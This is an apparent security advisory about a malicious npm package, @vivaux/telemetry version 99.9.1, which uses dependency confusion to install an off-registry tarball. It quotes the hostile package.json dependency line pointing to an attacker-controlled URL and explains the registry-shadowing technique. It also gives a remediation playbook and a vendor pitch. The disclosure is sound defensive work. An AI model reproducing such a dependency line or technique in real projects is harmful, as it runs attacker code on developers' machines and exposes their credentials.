@vivaux/telemetrynpm
Advisory published Updated
@vivaux/telemetry is a confirmed malicious npm package (MAL-2026-4463) that executes malicious code on install (malicious version 99.9.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @vivaux/telemetry (npm)
What this malware does
@vivaux/[email protected] ships an empty index.js and exists only to pull in an off-registry dependency. package.json declares "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.3.3.tgz" — a direct tarball URL rather than a registry name. Several signals stack: the @vivaux scope targets what appears to be a private/internal namespace; the inflated 99.9.1 version is the canonical registry-shadowing pattern used to win resolution against an internal package of the same name; the URL path segment literally contains depenconf (dependency confusion); and the package has placeholder metadata (empty author/description, license-only fields) with no real functionality of its own. On npm install, npm will fetch and install the arbitrary tarball, executing any lifecycle scripts it carries on the installer machine. The attacker controls the bytes at that URL and can rotate them at any time.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for @vivaux/telemetry (version 99.9.1).
If you installed it — respond
Remove @vivaux/telemetry from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @vivaux/telemetry was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks @vivaux/telemetry-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
